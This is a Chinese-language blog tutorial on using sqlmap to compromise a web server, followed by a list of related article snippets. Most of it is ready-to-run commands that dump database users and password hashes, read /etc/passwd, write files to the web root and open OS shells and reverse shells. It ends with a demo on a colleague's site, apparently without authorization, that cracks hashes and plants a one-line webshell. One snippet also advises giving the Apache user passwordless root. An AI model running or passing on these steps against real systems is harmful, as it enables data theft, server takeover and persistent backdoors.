利用SQLmap 拿服务器shell

1、简介

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,
Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:

1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。

2、参数

-u  #注入点 --sql-shell  返回sql shell-f  #指纹判别数据库类型 -b  #获取数据库版本信息 -p  #指定可测试的参数(?page=1&id=2 -p "page,id") -D ""  #指定数据库名 -T ""  #指定表名 -C ""  #指定字段 -s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) --level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3)  #测试执行的风险等级,默认为1 --time-sec=(2,5) #延迟响应,默认为5 --data #通过POST发送数据 --columns        #列出字段 --current-user   #获取当前用户名称 --current-db     #获取当前数据库名称 --users          #列数据库所有用户 --passwords      #数据库用户所有密码 --privileges     #查看用户权限(--privileges -U root) -U               #指定数据库用户 –prefix=PREFIX 注入payload 字符串前缀–suffix=SUFFIX 注入 payload 字符串后缀
--dbs            #列出所有数据库 --tables -D ""   #列出指定数据库中的表 --columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 --dump-all            #列出所有数据库所有表 --exclude-sysdbs      #只列出用户自己新建的数据库和表 --dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) --dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 --dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os      #指定系统(Linux,Windows) -v  #详细的等级(0-6)     0:只显示Python的回溯,错误和关键消息。     1:显示信息和警告消息。     2:显示调试消息。     3:有效载荷注入。     4:显示HTTP请求。     5:显示HTTP响应头。     6:显示HTTP响应页面的内容 --privileges  #查看权限 --is-dba      #是否是数据库管理员 --roles       #枚举数据库用户角色 --udf-inject  #导入用户自定义函数(获取系统权限) --union-check  #是否支持union 注入 --union-cols #union 查询表记录 --union-test #union 语句测试 --union-use  #采用union 注入 --union-tech orderby #union配合order by --data "" #POST方式提交数据(--data "page=1&id=2") --cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer ""     #使用referer欺骗(--referer "http://www.baidu.com") --user-agent ""  #自定义user-agent --proxy "http://127.0.0.1:8118" #代理注入 --string=""    #指定关键词,字符串匹配. --threads     #采用多线程(--threads 3) --sql-shell    #执行指定sql命令 --sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = ‘root‘ LIMIT 0, 1" ) --file-read    #读取指定文件 --file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) --file-dest    #要写入的文件绝对路径 --os-cmd=id    #执行系统命令 --os-shell     #系统交互shell --os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) --msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) --os-smbrelay  # --os-bof       # --reg-read     #读取win系统注册表 --priv-esc     # --time-sec=    #延迟设置 默认--time-sec=5 为5秒 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 --eta          #盲注

3.常用语句

#列出当前库所有表

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称

python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码
python sqlmap/sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条 
 python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -python sqlmap/sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息

python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入

python sqlmap/sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型 
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度

4.注入流程

简单的注入流程

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1

sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2


5.实战演练

拿PHP同事的一网站演示:

1.手工尝试网站无SQL注入漏洞

2.使用Acunetix Web Vulnerability 工具扫描,发现有SQL盲注漏洞

6.开工注入:

sqlmap.py -r Filename.txt --dbs --level=3

根据爆出来的库进行爆管理员的表:

sqlmap -r filename.txt --level=3 --tables -D DBNAME
sqlmap -r filename.txt --level=3 --columns -T TABLENAME -D DBNAME
sqlmap -r filename.txt --level=3 --dump -C "username,password" -T TABLENAME -D DBNAME

爆出来MD5值,通过相关MD5查询网站解出密码,发现后台无上线地址,没用

使用sqlmap的os-shell的功能

前提是必须爆出网站的物理路径:此方法比较多,比如:PHPinfo文件,访问错误报路径,debug调试开启爆路径等。

sqlmap.py -r filename.txt --os-shell

可以看到已经上传成功,我们通过这个地址上传一句话木马:

上传成功一句话木马之后,使用菜刀连接如图:

时间: 2024-07-30 15:58:14

利用SQLmap 拿服务器shell的相关文章

利用sqlmap进行mysql提权的小方法(win与liunx通用)

文章作者:[email protected]文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 2.利

php利用root权限执行shell脚本 (转)

转一篇博客,之前搞这个东西搞了好久,结果今天晚上看到了一篇救命博客,瞬间开心了...转载转载 利用sudo来赋予Apache的用户root的执行权限,下面记录一下: 利用PHP利用root权限执行shell脚本必须进行以下几个步骤:(所有步骤都是我亲自实验,若有不妥可指出,谢谢!) 1. 确定一下你的Apache的执行用户是谁.注:不一定就是nobody,我自行安装的httpd,我的Apache的用户就是daemon 2. 利用visudo为你的Apache执行用户赋予root执行权限,当然还有

利用xshell密钥管理服务器远程登录

1.生成公钥(Pubic Key)与私钥(Private Key): Xshell自带有用户密钥生成向导,如下图所示:点击菜单栏的工具->新建用户密钥生成向导 虽然SSH2协议中RSA和DSA算法都可以使用,但是为了保险起见,我们一般都选择RSA密钥类型,这样不论你使用的SSH协议是SSH1还是SSH2都可以使用;密钥长度1024位即 正在生成密钥,直接下一步即可 密钥名称可以随便填写,不过一般我们最好是默认名称_年月日,这样方便日后管理;一般不需要填写密钥密码,填写的话就是密钥加密码双重验证,

Linux生产服务器Shell脚本分享

Linux生产服务器Shell脚本分享 2012-6-6 86市场网 linux 作为一名Linux/unix系统管理员,我经常遇到人问这个问题:shell能做什么?PHP这么强大,为什么不用PHP来完成工作呢?其实相对于PHP这些开发语言而言,shell主要用于数据库备份(SVN备份).计划任务(crontab).服务状态监控.FTP远程备份等.对于这些任务,shell的强大是大家都公认的,这也是每一个Linux/unix系统管理员的基本之一.现在在Windows 2008里也出现了Power

DVWA系列之4 利用SQLMap进行medium级别注入

下面我们尝试利用SQLMap进行medium级别下的注入. 首先探测是否存在注入点,执行下面的命令: sqlmap.py -u http://192.168.80.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit 检测结果没有发现注入点,这是由于DVWA需要先登录然后才能使用,因而这里需要得到当前会话的cookie,用来在渗透过程中维持连接状态.利用Burpsuite拦截数据包,获取cookie. 在SQLMap中加--cookie参数,继续进行注入

WPF中利用WebClient向服务器上传文件

转载:原文地址http://blog.csdn.net/wj1589300/article/details/9255631 WPF中利用WebClient向服务器上传文件 忽然接到一个任务,在WPF中上传文件至服务器~在网上搜了很多种方法,最终决定利用WebCient实现文件的上传工作,看似很简单的任务,却遇到了很多问题.先说一下我的探索步骤吧~ 一.选用WebClient.UploadFile方法 (String,String, String) [csharp] view plaincopyp

Java 利用 Socket 实现服务器客户端聊天

Socket是网络编程中最基本的通信接口,常用的网络辅助类,比如URL等之类,其底层还是基于Socket来实现的. 而Socket,形象来说,就是连接通信的两端,比如这样 S<==>S,中间的通道就是网络了,而简单地利用Socket,我们就可以来实现一个简单的聊天功能 具体效果看下图: 这只是在本地中试用的效果,如果加上UI界面,其实就可以做成一个聊天的小应用了. 1. Server 端主要是利用ServerSocket的accept方法来等待客户端的连接,如果客户一直没有连接,则会在这里等待

php利用root权限执行shell脚本

原文地址:http://blog.csdn.net/lxwxiao/article/details/8513355 利用php利用root权限执行shell脚本必须进行以下几个步骤:(所有步骤都是我亲自实验,若有不妥可指出,谢谢!) 1. 确定一下你的Apache的执行用户是谁.注:不一定就是nobody,我自行安装的httpd,我的Apache的用户就是daemon 2. 利用visudo为你的Apache执行用户赋予root执行权限,当然还有设置无密码.注:为了安全起见,这里最好是新建一个用

如何利用外网服务器和本地内网机搭建反向隧道?

一.建立反向隧道的原因和目的 因要做微信支付和支付宝支付,这两个支付在用户支付完成后,都会将支付结果推送到我放服务器上,而我们的开发服务器一般位于公司路由器后,外网无法访问到,这时有四中解决方法. 方法1,直接将外网网络接入你的开发机器,这样外网可以直接访问了,缺点是公司其他同事都无法上网了. 方法2,在路由器上做NAT转发,这样同样可以在外网访问了,缺点是要有路由器的访问权,其次如果是多级路由的话,配置比较复杂. 方法3,直接在有外网的服务器上做开发或者测试,比如代码写完了打包部署到外网服务器